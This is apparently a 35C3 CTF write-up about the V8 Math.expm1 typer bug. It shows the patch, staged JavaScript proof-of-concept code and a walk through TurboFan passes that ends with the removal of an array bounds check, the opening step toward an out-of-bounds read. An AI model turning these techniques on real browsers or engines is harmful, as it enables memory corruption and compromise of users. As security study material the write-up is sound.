Math.exmp1 bug - 35C3 CTF
Setup
fetch v8
cd v8
git reset --hard dde25872f58951bb0148cf43d6a504ab2f280485
gclient sync
git apply < ../d8-strip-globals.patch
git apply < ../revert-bugfix-880207.patch
git apply < ../open_files_readonly.patch
tools/dev/gm.py x64.release
Patch Analysis
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
+ case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
- case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
case BuiltinFunctionId::kMathLog:
case BuiltinFunctionId::kMathLog1p:
As we can see in the patch that if the function builtin id is kMathExpm1
it’ll return type of Union(PlainNumber, NAN)
. Which means the output will be either PlainNumber or NAN. Math.expm1(-0)
always gives output -0
because of this bug during optimization the Math.expm1(-0)
outputs Union(PlainNumber, NAN)
. Here, the typer incorrectly typed in case of -0
. After the bug is triggered, Object.is()
is used to determine if the the values -0
and +0
are the same.
POC:
function xploit() {
return Object.is(Math.expm1(-0), -0);
}
console.log(xploit()); // [1]
%OptimizeFunctionOnNextCall(xploit);
console.log(xploit()); // [2]
If we run this POC, firt console [1]
should print true
and second console [2]
should print false
. However, the second console [2]
prints true
in this case. At this point I lost the battle. I really don’t know why the bug isn’t triggering.
Then I ran the POC with the argument --trace-turbo
and spent about an hour in turbolizer.
As we can see in the image NumberExpm1
is of type Number
which is not as we expected. The type should be PlainNumber | NAN
to trigger the bug.
Then I put the breakpoint on the typer.cc
and ran the d8
shell in gdb. Unfortunately the breakpoint didn’t hit.
Then I found out that in operation-typer.cc
when NumberExpm1
is called it’ll return type Number
. The NumberExpm1
is being called from 3 different phases.
- Typer Phase = Typer::Visitor::Reduce
- LoadElimination Phase = TypeNarrowingReducer::Reduce
- SimplifiedLowering Phase = RepresentationSelector::UpdateFeedbackType
Type OperationTyper::NumberExpm1(Type type) {
DCHECK(type.Is(Type::Number()));
return Type::Number();
}
At this point I only have 1 thing on my mind which is to somehow trigger kMathExpm1
in JSCallTyper
function which is in typer.cc
. We know that the NumberExpm1
gets lowered to Float64Expm1
in simplified-lowering phase by RepresentationChanger
and the type is also a Number
which is not as we expected. Also the SameValue
node is converted to NumberIsMinusZero
node.
Following modification is done to trigger the bug.
Trigger 1:
function xploit(x) {
return Object.is(Math.expm1(x), -0);
}
console.log(xploit("a")); // false
for (var i = 0; i < 0x10000; i++) {
xploit("b");
}
console.log(xploit(-0)); // false
Trigger 2:
function xploit(x) {
return Object.is(Math.expm1(x), -0);
}
console.log(xploit("a"));
%OptimizeFunctionOnNextCall(xploit);
xploit("b");
%OptimizeFunctionOnNextCall(xploit);
console.log(xploit(-0));
If we run the above POCs, code gets optimized twice. Also gets deoptimized. At first the Float64Expm1
gets optimized as Number
however if we optimize it with string it gets deoptimized. And when the code gets optimized next time it has the infromation that the input is not always Number
so, it’ll call the builtin function rather that Float64Expm1
.
POC and Analysis
At this point the bug is triggered but this is not enough.
POC stage 1:
function xploit(x) {
let arr = [1.1,1.2,1.3];
let idx = Object.is(Math.expm1(x), -0);
return arr[idx * 137];
}
console.log(xploit("a"));
for (var i = 0; i < 0x10000; i++) {
xploit("b");
}
console.log(xploit(-0));
When the above POC is executed, in TypedLowering
stage ConstantFoldingReducer
will replace SameValue
node with HeapConstant[0xxxxx83200709 <false>]
. Then the compiler will know that it is a False constant. Which in result will access 0th index. So we need to prevent it from performing constant folding.
idx = false = 0
arr[idx * 137]
arr[0 * 137]
ConstantFoldingReducer
Reduction ConstantFoldingReducer::Reduce(Node* node) {
// [...]
Type upper = NodeProperties::GetType(node);
if (!upper.IsNone()) {
Node* replacement = nullptr;
if (upper.IsHeapConstant()) {
replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
}
// [...]
}
}
return NoChange();
}
To prevent from performing constant folding we will not give the information to the compiler that the second parameter is -0
until the EscapeAnalysis
phase:
POC stage 2:
function xploit(x) {
let mz = {a:-0}
let arr = [1.1,1.2,1.3];
let idx = Object.is(Math.expm1(x), mz.a);
return arr[idx * 137];
}
console.log(xploit("a"));
for (var i = 0; i < 0x10000; i++) {
xploit("b");
}
console.log(xploit(-0));
In the above POC after the EscapeAnalysis
phase the SameValue
node will know the second parameter mz.a
is -0
(NumberConstant[-0])
. This type information will be used in SimplifiedLowering
phase which in result eliminates the checkbounds. In SimplifiedLowering
phase while updating the feedback type using UpdateFeedbackType
function, the old type will be replaced by the new type (NumberConstant[-0])
. Which in result NumberMultiply
node generates range (0,0). The NumberMultiply
node range (0,0)
is then passed to the CheckBounds
node as an index. Then the index
is less than the length
of an array which in result eliminates the checkbounds.
As we can see in the following image, Unline POC stage 1, SameValue
node is still there in LoadElimination
phase and the second parameter is still unknown
(LoadField[+24])
.
Now in EscapeAnalysis
phase the second parameter is know i.e., NumberConstant[-0]
.
When this information is passed to the SimplifiedLowering
the SameValue
returns false.
Type OperationTyper::SameValue(Type lhs, Type rhs) {
// [...]
if (lhs.Is(Type::MinusZero())) {
if (rhs.Is(Type::MinusZero())) return singleton_true();
if (!rhs.Maybe(Type::MinusZero())) return singleton_false();
} else if (rhs.Is(Type::MinusZero())) {
if (!lhs.Maybe(Type::MinusZero())) return singleton_false();
}
// [...]
return Type::Boolean();
}
Now in the Simplified lowering phase during the TypePropagation
the UpdateFeedbackType
function is called with node SameValue
. There it’ll check if the opcode is kSameValue
, if it is then the new_type will set with input0_type
and input1_type
where,
- input0_type = Call (PlainNumber | NaN)
- input1_type = NumberConstant[-0]
Although the input1_type
is MinusZero
the input0_type
is not MinusZero
because of the Patch. So, at this point the SameValue will return singleton_false. And the UpdateFeedbackType
will the update the new_type
. Then, while Lowering
the {Simplified} nodes in SimplifiedLowering
phase it also visits the CheckBounds
node.
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
// [...]
if (lower()) {
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));
} else {
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback()));
}
}
}
// [...]
} else {
// [...]
}
}
Inside the VisitCheckBounds
, if the phase is LOWER
some checks will be done and if all checks are passed DeferReplacement
function will eliminate the checkbounds. At this point optimizer knows that the SameValue
node returns Singleton false. So after the multiplication the index range for the CheckBounds
would be Range(0,0)
and the length range would be Range(3,3)
. So the index_type.Min()
is always greater than or equal to 0.0
and the index_type.Max()
would be less than length_type.Min()
. Finally the CheckBounds
node will get eliminated.